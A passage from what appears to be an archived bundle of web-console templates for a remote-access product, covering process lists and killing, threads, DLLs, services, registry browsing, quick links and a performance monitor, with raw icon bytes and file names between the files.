<td style="white-space: nowrap"><?&ADMIN.THREADS.ID?></td>
<td style="white-space: nowrap"><?&ADMIN.THREADS.CREATED?></td>
<td style="white-space: nowrap"><?&ADMIN.THREADS.BASE?></td>
<td style="white-space: nowrap"><?&ADMIN.THREADS.PRIOR?></td>
<td style="white-space: nowrap"><?&ADMIN.THREADS.STATE?></td>
<td style="white-space: nowrap"><?&ADMIN.THREADS.WAIT?></td>
<td style="white-space: nowrap"><?&ADMIN.THREADS.TIME?></td>
<td style="white-space: nowrap"><?&ADMIN.THREADS.TIMEK?></td>
<td style="white-space: nowrap"><?&ADMIN.THREADS.TIMEU?></td>
<td style="white-space: nowrap"><?&ADMIN.THREADS.USER?></td>
</tr>
<?enum THREADS?>
<tr>
<td align=center><?&THREAD.ID?></td>
<td><?&THREAD.STARTED?></td>
<td class="num"><?&THREAD.BASE?></td>
<td class="num"><?&THREAD.PRIORITY?></td>
<td><?&ADMIN.THREADS.STATE:THREAD.STATE?></td>
<td><?&ADMIN.THREADS.WAIT:THREAD.WAIT?></td>
<td class="num"><?&THREAD.TIME_spnz?>&nbsp;</td>
<td class="num"><?&THREAD.TIMEK_spnz?>&nbsp;</td>
<td class="num"><?&THREAD.TIMEU_spnz?>&nbsp;</td>
<td><?&THREAD.USER?>&nbsp;</td>
</tr>
<?next?>
</table>
<br>
<? usemacro PROCINFOBUTTONS() ?>
<br>
</center>
</div>
<?endif?>

<!-- SERVICES -->
<?if SERVICES > 0?>
<div class="tab-page" id="tabPage4" style="text-align:left">
<h2 class="tab"><?&ADMIN.PROCESS.SERVICES?></h2>
<center>
<table class="inner" cellpadding="2"  align=center width="80%">
<tr><th colspan="3"><?&ADMIN.PROCESS.SERVICES?></th></tr>
<?enum SERVICES?>
<tr>
<td><a href="service.html?svc=%SERVICE.NAME%&%RND%">&SERVICE.DISPLAY&</a></td>
<td>&ADMIN.SERVICE.START:SERVICE.START&</td>
<td>&ADMIN.SERVICE.STATUS:SERVICE.STATUS&</td>
</tr>
<?next?>
</table>
<br>
<? usemacro PROCINFOBUTTONS() ?>
<br>
</center>
</div>
<?endif?>

<!-- DLLs -->
<?if DLLS > 0?>
<div class="tab-page" id="tabPage5" style="text-align:left">
<h2 class="tab"><?&ADMIN.PROCESS.DLLS?></h2>
<center>
<table class="inner" align=center>
<tr>
<th><?&ADMIN.PROCESS.DLLLIST.PATH?></th>
<th><?&ADMIN.PROCESS.DLLLIST.VERSION?></th>
<th><?&ADMIN.PROCESS.DLLLIST.BASE?></th>
<th><?&ADMIN.PROCESS.DLLLIST.SIZE?></th>
<th><?&ADMIN.PROCESS.DLLLIST.DESCRIPTION?></th>
</tr>
<?enum DLLS?>
<tr>
<td><?&DLL.PATH?></td>
<td class="num"><?&DLL.VERSION?></td>
<td class="num"><?&DLL.BASE?></td>
<td class="num"><?&DLL.SIZE?></td>
<td><?&DLL.DESC?></td>
</tr>
<?next?>
</table>
<br>
<? usemacro PROCINFOBUTTONS() ?>
<br>
</center>
</div>
<?endif?>

<?set OBJECTS = "0"?>
<?action "objlistfile"?>
<?if OBJECTS > 0?>
<!-- OPEN FILES -->
<div class="tab-page" id="tabPage6" style="text-align:left">
<h2 class="tab"><?&INFO.FILES.TITLE?></h2>
<center>
<table class="inner" align=center width="80%">
<tr><th><?&INFO.FILES.TITLE?></th></tr>
<?enum OBJECTS?>
<tr><td><?if OBJECT.NAME HAS ":\"?><a href="/dir.html?dir=%OBJECT.NAME%"><?&OBJECT.NAME?></a><?else?><?&OBJECT.NAME?><?endif?></td></tr>
<?next?>
</table>
<br>
<? usemacro PROCINFOBUTTONS() ?>
<br>
</center>
</div>
<?endif?>

<?set OBJECTS = "0"?>
<?action "objlistreg"?>
<?if OBJECTS > 0?>
<!-- REGISTRY KEYS -->
<div class="tab-page" id="tabPage7" style="text-align:left">
<h2 class="tab"><?&INFO.REG.TITLE?></h2>
<center>
<table class="inner" align=center width="80%">
<tr><th><?&INFO.REG.TITLE?></th></tr>
<?enum OBJECTS?>
<tr><td><a href="/regframes.html?key=%OBJECT.NAME%"><?&OBJECT.NAME?></a></td></tr>
<?next?>
</table>
<br>
<? usemacro PROCINFOBUTTONS() ?>
<br>
</center>
</div>
<?endif?>
</div>

<?endif // WINERNUM?>

</div>
</body>
<script type="text/javascript">
if (typeof priority == "undefined") {
priority = document.getElementById( "priority" );
}
</script>
</html>
~procinfo.wml<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<?ratmpl?>
<?nocache?>
<wml>
<card id="procinfo" title="&SRVNAME&"> 
<?action "procinfo"?>

<p align="left">
<b>Process <?&PROC.ID?></b>
<br/>
<?if PROC.PATH	?><b><?&MSG.ADMIN.PROCESS.COMMAND?>:</b><br/><?&PROC.PATH?><br/><?endif?>
<?if PARENT.NAME?><b><?&MSG.ADMIN.PROCESS.PARENT?>:</b><br/><?&PARENT.NAME?> (<?&PARENT.ID?>)<br/><?endif?>
<?if PROC.USER	?><b><?&MSG.ADMIN.PROCESS.ACCOUNT?>:</b><br/><?&PROC.USER?><br/><?endif?>
<?if PROC.SWAP	?><b><?&MSG.ADMIN.PROCESS.PAGEFILE?>:</b><br/><?&PROC.SWAP _szk?><br/><?endif?>
<?if PROC.MEMORY?><b><?&MSG.ADMIN.PROCESS.TOTALMEM?>:</b><br/><?&PROC.MEMORY _szk?><br/><?endif?>
<?if PROC.TIMEC	?><b>Creation time:</b><br/><?&PROC.TIMEC _dtms?><br/><?endif?>
<?if PROC.TIMEU	?><b>CPU Time (User):</b><br/><?&PROC.TIMEU _spn?><br/><?endif?>
<?if PROC.TIMEK	?><b>CPU Time (Kernel):</b><br/><?&PROC.TIMEK _spn?><br/><?endif?>
<?if PROC.TIME	?><b>CPU Time (Total):</b><br/><?&PROC.TIME _spn?><br/><?endif?>
</p>

<p align="center">
<anchor><?&MSG.ADMIN.PROCESS.KILL?>
<go href="/proclist.wml" method="get">
<postfield name="ctrl" value="kill"/>
<postfield name="pid" value="<?&PROC.ID?>"/>
<postfield name="idx" value="<?&REQ.IDX?>"/>
<postfield name="cnt" value="5"/>
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor>
<anchor><?&MSG.DIALOG.BACK?>
<go href="/proclist.wml" method="get">
<postfield name="idx" value="<?&REQ.IDX?>"/>
<postfield name="cnt" value="5"/>
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor>
</p>
<p align="center">
<b><anchor><?&DIALOG.MAINMENU?>
<go href="/main.wml" method="get">
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor></b>
</p>
</card>
</wml> 
D proclist.htmlzP<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "tooltip.inc"?>
<?include "table.inc"?>
<script type="text/javascript" src="js/window.js"></script>
</head>

<?
if REQ.CTRL="kill" // need to kill process?
action "prockill"
usemacro WINERRDLG()
endif
// set default sorting
if not REQ.SORT
// hierarchical, ascending
if not PROCLISTDEFAULTSORT
set session PROCLISTDEFAULTSORT = "ha"
endif
set REQ.SORT = PROCLISTDEFAULTSORT
else
set session PROCLISTDEFAULTSORT = REQ.SORT
endif

// list processes
action "proclist" 
usemacro WINERRDLG()
?>

<script language="javascript">

function doSort(sortby) {
document.forms.type.sort.value = sortby;
document.forms.type.submit();
}

var	i = 1;
var	procs = new Array();
function addTip(o, name, value) {
if (value != "") o.tip += "<b>"+htmlEncode(name)+"</b> "+htmlEncode(value)+"<br>";
}
function addProc(id, parent, name, desc, version, title, mem, handles, threads, created, cputime, priority, type, account) {
var o = new Object();
o.id = id;
o.pnt = parent;
<?if CFG.TOOLTIPS>0?>
o.tip = "";
addTip(o, "$NAME$:", name);
addTip(o, "$DESC$:", desc);
addTip(o, "$VERSION$:", version);
<?if ISNT?>
addTip(o, "$ADMIN.PROCESS.ACCOUNT$:", account);
addTip(o, "$ADMIN.PROCESS.WINDOW$:", title);
addTip(o, "$ADMIN.PROCESS.HANDLES$:", handles);
<?endif?>
addTip(o, "$ADMIN.PROCESS.THREADS$:", threads);
<?if ISNT?>
addTip(o, "$ADMIN.PROCESS.TIMEC$:", created);
addTip(o, "$ADMIN.PROCESS.TIME$:", cputime);
<?endif?>
addTip(o, "$ADMIN.PROCESS.PARENTID$:", parent);
<?endif?>
procs[i++] = o;
}
<?enum PROCESSES?>
addProc("$PROC.ID$",
"$PROC.PARENT$",
"$PROC.NAME$",
"$PROC.DESC$",
"$PROC.VER$",
"$PROC.WINDOW$",
"$PROC.MEMORY$",
"$PROC.HANDLES$",
"$PROC.THREADS$",
"<?$PROC.TIMEC_dtms?> (<?$PROC.TIMEC_ago?>)",
"<?$PROC.TIME_spn?>",
"$ADMIN.PROCESS.PRIOR:PROC.PRIORITY$",
"$PROC.TYPE",
"$PROC.USER$");
<?next?>

var trows = null;
function getPID() {
var pid = 0;
var sel = trows.getSelectedIndexes();
if (sel.length > 0) {
pid = procs[sel[0]].id;
}
return pid;
}
function doClick() {
var pid = getPID();
if (pid > 0) {
window.location = "procinfo.html?pid=" + pid + "&cnt=$REQ.CNT$&$RND$";
}
}
function killProc() {
var pid = getPID();
if (pid > 0) {
if (!confirm('$MSG.ADMIN.PROCESS.KILLCONFIRM$')) return;
location.replace("$TEMPLATE$?pid=" + pid + "&ctrl=kill&%RND%" + "&token=$CSRFTOKEN$");
}
}
function selected() {
setTimeout('enableButtons()',10)
}
function enableButtons() {
var pid = getPID();
var prop = document.getElementById("prop");
if (prop) prop.src = (pid > 0 ? "img/ico_prop.gif" : "img/ico_prop_off.gif");
var kill = document.getElementById("stop");
if (kill) kill.src = (pid > 0 ? "img/ico_delete.gif" : "img/ico_delete_off.gif");
}
</script>


<body onLoad="winAutoHeight('infoArea', getElementHeight('info') - getElementHeight('infoArea') + 5); trows = new SelectableTableRows(document.getElementById('plist'), false);">
<div id="info" class="window">
<div class="titleBar">
<?usemacro TITLEICON("manage")?><span class="titleText"><?&ADMIN.PROCESS.TITLE?></span>
</div>

<form name="type" action="&TEMPLATE&" style="display:inline">
<div id="toolBar" class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%ADMIN.PROCESS.TITLE%&favicon=menu_manage.png&favargs=%TEMPLATE%%3Fidx%3D%REQ.IDX%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?idx=%REQ.IDX%&%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
<div class="buttonGroup">
<a href="javascript:doClick()" ><img id="prop" src="img/ico_prop_off.gif" title="&ADMIN.SERVICE.TIP.PROP&" border="0"></a>
<a href="javascript:killProc()"><img id="stop" src="img/ico_delete_off.gif" title="&ADMIN.PROCESS.KILL&" border="0"></a>
</div>
</div>
<input type="hidden" name="sort" value="$REQ.SORT$">
</form>
<div id="infoArea" class="scrollableDataArea">

<table id="plist" class="inner" width="99%">
<thead>
<tr>
<th style="white-space: nowrap">&nbsp;</th>
<th style="white-space: nowrap"><?usemacro SORTABLETH("ia", "id", MSG.ADMIN.PROCESS.PID)?></th>
<th style="white-space: nowrap"><?usemacro SORTABLETH("ha", "hd", MSG.ADMIN.PROCESS.HIERARCHY)?> / 
<?usemacro SORTABLETH("pa", "pd", MSG.ADMIN.PROCESS.EXECUTABLE)?> / 
<?usemacro SORTABLETH("ma", "md", MSG.ADMIN.PROCESS.MODULE)?></th>
<?if ISNT?>
<th style="white-space: nowrap"><?usemacro SORTABLETH("ca", "cd", MSG.ADMIN.PROCESS.CPUP)?></th>
<?endif?>
<th style="white-space: nowrap"><?&ADMIN.PROCESS.PRIOR?></th>
<?if ISNT?>
<th style="white-space: nowrap"><?&TYPE?></th>
<th style="white-space: nowrap"><?&ADMIN.PROCESS.PHYSMEM?></th>
<th style="white-space: nowrap"><?&ADMIN.PROCESS.VIRTMEM?></th>
<th style="white-space: nowrap"><?&ADMIN.PROCESS.MEMP?></th>
<?endif?>
</tr>
</thead>
<tbody>
<?enum PROCESSES?>
<tr ondblclick="doClick()" onclick="selected()"<?if CFG.TOOLTIPS>0?> onmouseover="showTip(event,procs[&ENUM.INDEX&].tip,false,'TR')"<?endif?>>
<td class="ico16"><?if CFG.USEICONS>0?><img src="fileicon.png?bg=%COLOR.DlgBack%&path=%PROC.PATH%&size=16" width="16" height="16"><?endif?></td>
<td nowrap align="center"><?&PROC.ID?></td>
<td nowrap>
<?if REQ.SORT="ha" or REQ.SORT="hd"?>
<img src="img/menu_blank.gif" width="&PROC.DEPTH&0" height="5">
<?endif?>
<?if REQ.SORT="ma" or REQ.SORT="md"?>
<?&PROC.NAME?>
<?else?>
<?&PROC.PATH?>
<?endif?>
</td>
<?if ISNT?><td><?if PROC.ID>0?><?if PROC.CPUP?><?usemacro PERCENTBARWH(PROC.CPUP,27,8)?><?endif?><?endif?></td><?endif?>
<td nowrap><?&ADMIN.PROCESS.PRIOR:PROC.PRIORITY?></td>
<?if ISNT?><td nowrap align="left"><?&PROC.TYPE?></td><?endif?>
<?if ISNT?>
<td class="num" nowrap><?&PROC.WKSET _szk?></td>
<td class="num" nowrap><?&PROC.SWAP _szk?></td>
<td class="num"><?if PROC.MEMORYPPHYS?><?&PROC.MEMORYPPHYS?>%<?endif?></td>
<?endif?>
</tr>
<?next?>
</tbody>
</table>
</div>
</div>

</body>
</html>
+proclist.wmlEw<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<?ratmpl?>
<wml>
<card id="card1" title="&SRVNAME&"> 
<?
if REQ.CTRL // need to kill process?
action "prockill"
if WINERRNUM?>
<?&WINERRNUM?>: <?&WINERRMSG?>
<?endif
endif
action "proclist"
?>

<p align="center">
<b><?&MSG.ADMIN.PROCESS.TITLE?></b><br/>
page %PAGE.CURRENT% of %PAGE.COUNT%<br/>
<?if PAGE.NEXT?>
<i><anchor><?&MSG.PAGING.TONEXT?>
<go href="&TEMPLATE&" method="get">
<postfield name="idx" value="&PAGE.NEXT&"/>
<postfield name="cnt" value="&PAGE.LENGTH&"/>
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor></i>
<?endif?>
<?if PAGE.PREV?>
<i><anchor><?&MSG.PAGING.TOPREV?>
<go href="&TEMPLATE&" method="get">
<postfield name="idx" value="&PAGE.PREV&"/>
<postfield name="cnt" value="&PAGE.LENGTH&"/>
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor></i>
<?endif?>
<br/>
</p>

<p align="left">
<?if WAP.HIRES?>
<table columns="3">
<?enum PROCESSES?>
<tr>
<td><anchor><?&PROC.ID?>
<go href="/procinfo.wml" method="get">
<postfield name="pid" value="<?&PROC.ID?>"/>
<postfield name="idx" value="<?&PAGE.LO?>"/>
<postfield name="rasid" value="<?&RASID?>"/>
</go>
</anchor></td>
<td><?&PROC.NAME _mx20?></td>
<td><?&PROC.CPUP?>%</td>
</tr>
<?next?>
</table>
<?else?>
<?enum PROCESSES?>
<anchor><?&PROC.ID?> - <?&PROC.NAME _mx20?> - <?&PROC.CPUP?>%
<go href="/procinfo.wml" method="get">
<postfield name="pid" value="<?&PROC.ID?>"/>
<postfield name="idx" value="<?&PAGE.LO?>"/>
<postfield name="rasid" value="<?&RASID?>"/>
</go>
</anchor>
<br/>
<?next?>
<?endif?>
</p>

<p align="center">
<b><anchor><?&DIALOG.MAINMENU?>
<go href="/main.wml" method="get">
<postfield name="rasid" value="<?&RASID?>"/>
</go>
</anchor></b>
</p>
</card>
</wml> 
u3Iprocmenu.wml<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<?ratmpl?>
<wml>
<card id="card1" title="&SRVNAME&"> 
<p align="center">
<b><?&ADMIN.PROCESS.TITLE?></b><br/>
</p>

<p align="left">
<anchor>List running processes
<go href="/proclist.wml" method="get">
<postfield name="cnt" value="5"/>
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor>
<br/>
<anchor>Create a new process
<go href="/proccreate.wml" method="get">
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor>
</p>

<p align="center">
<b><anchor><?&DIALOG.MAINMENU?>
<go href="/main.wml" method="get">
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor></b>
</p>
</card>
</wml> 
ޒqlinks.htmll<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "tooltip.inc"?>
<?include "table.inc"?>
</head>

<body>
<?
if REQ.OP = "del"
action "favdel"
elseif REQ.OP = "up"
action "favup"
elseif REQ.OP = "dn"
action "favdn"
endif
usemacro WINERRDLG()
action "favlist"
usemacro WINERRDLG()
?>
<script language="JavaScript">
window.top.menu.title.location.reload();
var table = null;
var ql = new Array();
var qn = 0;
<?enum FAVS?>
ql[qn++] = '$FAV.ID$';
<?next?>
function click(op) {
if (table) {
var sel = table.getSelectedIndexes();
if (sel.length > 0) {
window.location.replace('$TEMPLATE$?op=' + op + '&favid=' + ql[sel[0]]);
}
}
}
</script>
<div class="window">
<div class="titleBar"><?usemacro TITLEICON("manage")?><span class="titleText">&MSG.QLINKS.TITLE&</span></div>
<!-- TOOLBAR -->
<div class="buttonBar">
<div class="buttonGroup">
<a href="javascript:click('del')"><img src="img/ico_delete.gif" title="&DIALOG.DELETE&" border="0"></a>
<a href="javascript:click('up')"><img src="img/ico_up.gif" title="&DIALOG.MOVEUP&" border="0"></a>
<a href="javascript:click('dn')"><img src="img/ico_down.gif" title="&DIALOG.MOVEDN&" border="0"></a>
</div>
</div>

<table id="vlist" class="inner" width="60%">
<?enum FAVS?>
<tr id="fav&FAV.ID&">
<td class="ico16"><?if FAV.ICON?><img src="img/&FAV.ICON&?bg=%COLOR.DlgBack%" border="0" align="absmiddle"><?endif?></td>
<td>&nbsp;&FAV.NAME&</td>
</tr>
<?next?>
</table><br>
<script type="text/javascript">
// MULTISELECT TABLE
table = new SelectableTableRows(document.getElementById("vlist"), false);
<?if FAV.ID?>
table.setItemSelected(fav&FAV.ID&, true);
<?endif?>
</script>

<center><input type="button" value="&DIALOG.BACK&" onclick="history.back()"></center><br>
</div>
</body>
</html>
mSra-favicon.ico.;(6h^ h( pvhldgffdhdfhwvdhwxl~( T6T:lBtF|FlN\F$TF,|f<|nT|rdZbjnrvz~zzf$~~\ĂĆĊ$Ď,lt|̞DܮdĢt̮|ܺœƔʜ¼ҬִFFFFFFEFFFFF8$FFFF2
FFFFFF+5FF=	,FFFF@%@F&
$FF+5FF.7(CFFC,FFFF!;C1 =FFFBFFFF0FFFFFF?++:FFFE9-*9FF1F86,6?FFFF4#F@DF')).FFFFFF</#"#3EFFFFFFFFFFFFFFFFF(  @¼|nT~\|F|f<tFbĂjlB\F$ܺv~z~Ăr|FTF,Ċ$ĆĎ,~v~ĂjT6ܮdʜ̞Dzz~nT:ƔĆzĂZ|rdĊ$zzlNʜ~vf$ִvn̮|tl|zĆܺœ̮|Ģt̮|ҬǦlraconsole.vcgiA<?ratmpl?>
<?set REQ.APP=1?>
<?set REQ.TYPE="java"?>
<?include "telnet.html" // for backward compatibility with version 4 clients ?>
1:(rafiletransfer2.vcgiד<?ratmpl?>
<?set REQ.APP=1?>
<?set REQ.TYPE="java"?>
<?include "filexfer.html" // for backward compatibility with version 4 clients ?>
2rapv.html"w<?ratmpl?>
<?nocache?>
<?include "activex.inc"?>
<?include "macros.html"?>
<?
if not REQ.TYPE
set REQ.TYPE = "activex"
endif
?>

<html>
<head>
<?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "chkobject.inc"?>
<script type="text/javascript" src="/js/lmiborgsupport.js"></script>
<script type="text/javascript" src="/js/performanceViewer.js"></script>
<script type="text/javascript" src="/js/xmlhttp.js"></script>
<script type="text/javascript">
var performanceMonitorHandler = function (){

var disconnectUrl = "$RA.COM$" + "/r.asp?r=mycomputers&errorcode=4&hostid=" + "$WEBSVC.HOSTID$";
var dataRefreshPeriodInMilliSec = 2000;
var watchDogPeriodInSec = 10;
var cpuData = [];
var memoryData = [];
var canvasId = "perfmoncanvas";
var perfMonitorContainerId = "perfmoncontainer";
var bGetHistory = true;

function addCanvasToEmptyContainer(){
var container =  getEmptyContainer();
var canvas = createAndGetCanvas();
container.appendChild(canvas);
}

function createAndGetCanvas(){
var mycanvas = document.createElement("canvas");
mycanvas.id = canvasId;
mycanvas.style.height = "45px";
mycanvas.style.width = "174px";
mycanvas.style.backgroundColor = "#FFFFFF";

return mycanvas;
}

function getEmptyContainer(){
var container = document.getElementById(perfMonitorContainerId);
container.innerHTML = "";
return container;
}

var gWatchdogErrors = 0;

function onDisconnect() {
++gWatchdogErrors;
if (3 <= gWatchdogErrors) {
top.location.replace(disconnectUrl)
}
}

function refreshChartFromWs(){
PerformViewMonitorProxy.callPerformanceData(refreshChart, onDisconnect, bGetHistory);
bGetHistory = false;
window.setTimeout(refreshChartFromWs, dataRefreshPeriodInMilliSec);
}

function isArray(obj) {
if (Object.prototype.toString.call(obj) === '[object Array]') {
return true;
}
return false;
}

function refreshChart(data) {
gWatchdogErrors = 0;
if (isArray(data.Cpu) && isArray(data.Mem)) {
cpuData = data.Cpu.slice(0);
memoryData = data.Mem.slice(0);
} else {
if (cpuData.length > 100) {
cpuData.pop();
memoryData.pop();
}
cpuData.unshift(data.Cpu);
memoryData.unshift(data.Mem);
}

performViewer.setCpuData(cpuData);
performViewer.setMemData(memoryData);
performViewer.render();
}

function setData(cpuData, memData) {
performViewer.setCpuData(cpuData);
performViewer.setMemData(memData);
performViewer.render();
}

function isCanvasSupported() {
return !!window.CanvasRenderingContext2D;
}

function run (){
if (isCanvasSupported()){

for (var i = 0; i < 100; ++i) {
cpuData.push(0);
memoryData.push(0);
}

addCanvasToEmptyContainer();
performViewer = new LMIPerformanceViewer(canvasId);
refreshChartFromWs();
}
}

return {
run : run
}
}

window.onload = function () {
if (LMIBrowserInfo.GetName() == 'MSIE' && "$HTTP.USERAGENT$" != "RAConsole") {
chkObject('rapvobj', false);
} else {
var perfViewer = new performanceMonitorHandler();
perfViewer.run();
}
}

</script>
</head>
<body class="title"  style="overflow: hidden;">
<table width="100%" height="100%" cellspacing="0" cellpadding="0" border="0">
<tr>
<td align="center" valign="top">
<table cellspacing="0" cellpadding="0" border="0">
<tr>
<!--
<td>
<canvas id="perfmoncanvas" style="background-color: #FFFFFF; width: 174px; height: 45px;"></canvas>
</td>

-->
<td style="position: absolute; left: 0; vertical-align: top; height: 45px;" id="perfmoncontainer">
<?action "appletssl"?>
<?if REQ.TYPE = "activex" and NOT HTTP.USERAGENT.RACONSOLE?>
<?usemacro OBJECTOPEN(ACTIVEX.CAB, "CLSID:FD0B6769-6490-4A91-AA0A-B5AE0DC75AC9", "174", "45", "rapvobj")?>
<?include "rapvparams.html"?>
<?usemacro OBJECTCLOSE()?>
<?endif?>
<?if REQ.TYPE = "html"?>
<?endif?>

</td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</html>
|.)rapvparams.htmlw%<?ratmpl?>
<param name="HTTP.HOST" value="&HTTP.HOST&">
<param name="HTTP.PORT" value="&HTTP.PORT&">
<param name="Lang" value="&LANG&">
<param name="Brand" value="&PRODUCTABBR&">
<param name="HostOS" value="&LMIOSTYPE&">
<param name="sessionid" value="&RASID&">
<param name="ForceTunnel" value="&FORCETUNNEL&">
<param name="commv" value="4">
<param name="SSLOK" value="<?if SSL?>1<?else?>0<?endif?>">
<?if CACERT?><param name="CACERT" value="&CACERT&"><?endif?> <?if RACERT?><param name="RACERT" value="&RACERT&"><?endif?> 
<?if RAWSSL?><param name="RAWSSL" value="&RAWSSL&"><?endif?>
<?if RAWSSL?><param name="RAWSSLv2" value="&RAWSSL&"><?endif?>
<param name="bgcolor" value="&COLOR.RscBack&">
<param name="fgcolor" value="&COLOR.ServHi&">
<param name="fmcolor" value="&COLOR.ServLo&">
<param name="cputext" value="&MSG.PERF.TYPE.CPU&">
<param name="memtext" value="&MSG.PERF.TYPE.MEM&">
<param name="bartext" value="&MSG.DIALOG.WAIT&">
<param name="barname" value="&PRODUCTNAME&">
recent.html<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>

<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("secure")?><span class="titleText">&MSG.INFO.CONNS.RECENT&</span></div>
<?if not UI="secrem"?>
<!-- TOOLBAR -->
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.INFO.CONNS.RECENT%&favicon=menu_pref.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&MSG.DIALOG.UPDATE&"></a>
</div>
</div>
<?endif?>

<center>
<br><br>
<!-- MOST RECENT ACCESSES -->
<?action "recent"?><?usemacro WINERRDLG()?>
<table class="inner" width="95%">
<tr><th colspan="5"><?&MSG.INFO.CONNS.RECENT?></th></tr>
<tr class="ttd">
<td><?&MSG.INFO.CONNS.HOST?></td>
<td><?&MSG.INFO.CONNS.USER?></td>
<td><?&MSG.INFO.CONNS.LOGIN?></td>
<td><?&MSG.INFO.CONNS.LOGOUT?></td>
<td><?&MSG.INFO.CONNS.IDLE?></td>
</tr>
<?enum RECENT?>
<tr>
<td><?&RECENT.ADDR?><?if RECENT.HOST?> (<?&RECENT.HOST?>)<?endif?></td>
<td><?&RECENT.USER?></td>
<td><?&RECENT.LOGIN_dtms?></td>
<?if RECENT.ONLINE?>
<td><?&MSG.INFO.CONNS.ONLINE?> (<?&RECENT.LOGIN_for?>)</td>
<td><?&RECENT.IDLE_spn?></td>
<?else?>
<td><?&RECENT.LOGOUT_dtms?></td>
<td></td>
<?endif?>
</tr>
<?next?>
</table><br>
<?if UI="secrem"?>
<form action="&TEMPLATE&" method="post">
<input type="button" value="&DIALOG.BACK&" onclick="window.location='sr/security.html'">
</form>
<?endif?>
</center>
</div>
</body>
</html>

Dregdir.xml<?ratmpl?>
<?
nocache
include "macros.html"
?>

<?action "reglist"?>
<tree>
<?if KEYS?>
<?enum KEYS?>
<?if KEY.KEYS ?>
<tree text="&KEY.NAME&" src="regdir.xml?key=%KEY%\%KEY.NAME%" action="regvalues.html?key=%KEY%\%KEY.NAME%" />
<?else?>
<tree text="&KEY.NAME&" action="regvalues.html?key=%KEY%\%KEY.NAME%" />
<?endif?>
<?next?>
<?endif?>

<?if WINERRNUM?>
<tree text="&MSG.DIALOG.ERROR&: &WINERRMSG&"/>
<?endif?>
</tree>regframes.html6<?ratmpl?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "macros.html"?>
</head>

<body>
<div name="regwindow" id="regwindow" class="window" style="height:99%;">
<div class="titleBar"><?usemacro TITLEICON("manage")?><span class="titleText"><?&ADMIN.REGISTRY.TITLE?></span></div>
<iframe style="position: absolute; left: 0px; top: 79px; width: 29%; height: 96%; margin: 0; padding:0;" name="keys" src="reglist.html?key=%REQ.KEY%&%RND%" hspace=0 vspace=0 frameborder=0 scrolling=no></iframe>
<iframe style="position: absolute; left: 30%; top: 79px; width: 70%; height: 96%; margin: 0; padding:0;" name="values" src="regvalues.html" marginwidth=0 hspace=0 vspace=0 frameborder=0 scrolling=no></iframe>
</div>

<!-- KEY window-->
<div id="addkey" name="addkey" class="subwindow" style="position:absolute;left:20px;top:80px;width:300px;height:auto;">
<script language="javascript">
function doAdd() {
if ( keys.tree.getSelected() ) {
var frm = document.forms['keyForm'];
values.location = "regvalues.html?op=addkey&name=" + escape(frm.name.value) + "&key=" + escape(frm.key.value) + "&token=$CSRFTOKEN$" + "&reload=1";
}
}
</script>
<div class="titleBar"><img src="img/menu_admin.png?bg=%COLOR.CapBack%" align="absmiddle">&nbsp;<?&ADMIN.REGISTRY.NEWKEY?></div>
<div style="padding: 10px">
<p id="keydisplay"></p>
<center>
<form id="keyForm">
<input type="hidden" name="key" value=""> 
<?&MSG.NAME?>:&nbsp;<input type="text"   name="name" size="30"><br><br>
<input type="submit" value="<?&DIALOG.Apply?>" onclick="addkey.style.display = 'none'; doAdd();return(false);">
<input type="button" value="<?&DIALOG.Cancel?>" onclick="addkey.style.display = 'none';return(false);">
</form> 
</center>
</div>
</div>

</body>
</html>
reglist.htmle]<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>

<base target="values">

<script type="text/javascript" src="js/window.js"></script>
<script type="text/javascript" src="js/xtree.js"></script>
<script type="text/javascript" src="js/xmlextras.js"></script>
<script type="text/javascript" src="js/xloadtree.js"></script>
<link type="text/css" rel="stylesheet" href="css/xtree.css" />
<script language="JavaScript">
function doDelete() {
if ( tree.getSelected() ) {
var	name = tree.getSelected().text;
var	node = tree.getSelected().parentNode;
var key = "";
while( node.parentNode ) {
if ( node.icon.substring(0,14) != "img/menu_blank" )
key = node.text + "\\" + key;
node = node.parentNode;
}
if ( confirm(key + name + '\n\n<?&ADMIN.REGISTRY.SUREDELETEKEY?>') ) {
parent.values.location = "regvalues.html?op=delkey&name=" + escape(name) + "&key=" + escape(key) + "&token=$CSRFTOKEN$" + "&parentreload=1";
}
}
}
function viewKeyForm() {
parent.document.forms.keyForm.key.value = fullKey();
